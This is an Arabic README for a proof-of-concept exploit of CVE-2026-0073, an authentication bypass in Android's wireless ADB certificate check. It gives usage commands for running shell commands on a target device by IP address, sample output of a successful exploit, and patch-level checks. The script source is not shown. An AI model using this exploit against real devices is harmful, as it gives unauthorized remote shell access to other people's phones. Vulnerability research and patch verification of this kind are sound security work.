
CVE-2026-0073 - إثبات مفهوم لتجاوز المصادقة المتبادلة اللاسلكية لـ ADB
يحتوي هذا الدليل على إثبات مفهوم بلغة Python لثغرة CVE-2026-0073.
تم إنشاء السكربت باستخدام تقنيات توليد الكود بمساعدة الذكاء الاصطناعي.
CVE-2026-0073 هي مشكلة منطقية في التحقق من شهادات خدمة ADB (adbd_tls_verify_cert في auth.cpp).
يعامل الفحص المعرض للخطر أي قيمة غير صفرية من EVP_PKEY_cmp(...) على أنها تطابق ناجح.
يجب أن تكون معالجة نتيجة المقارنة المتوقعة كما يلي:
1 = المفاتيح متطابقة0 = المفاتيح غير متطابقةفي الإصدارات المعرضة للخطر، تُعامل القيم السالبة على أنها صحيحة ويمكن أن تعلن بشكل غير صحيح أن الشهادة مصرح بها.
poc-cve-2026-0073.pyيقوم السكربت بما يلي:
ec أو ed25519).shell: مع خيار احتياطي exec:).cryptographyتثبيت التبعية:
pip install cryptography
اكتشاف خدمة ADB المستهدفة (إذا لزم الأمر):
adb mdns services
تشغيل إثبات المفهوم:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
الوسائط:
target_ip: عنوان IP لجهاز Android المستهدفport: منفذ ADB (الافتراضي: 5555)command: الأمر المراد تنفيذه (الافتراضي: id)key_type: ec أو ed25519 (الافتراضي: ec)--verbose: تفعيل سجلات تصحيح البروتوكولأمثلة:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
انتهاء المهلة أثناء انتظار الاستجابات
--verbose لتتبع حزم البيانات.يمكن أن يختلف مستوى تصحيح أمان نظام التشغيل الأساسي وتصحيح وحدات Mainline. يمكن أن يُظهر الجهاز مستوى SPL شهري أقدم مع استلام إصلاحات أحدث لوحدة ADB.
فحوصات مفيدة:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
استخدم إثبات المفهوم هذا فقط في البيئات المصرح بها (أجهزة مختبرية مملوكة، أو إذن صريح، أو اختبار مرخص). لا تقم بتشغيله ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها.
daemon/auth.cpp)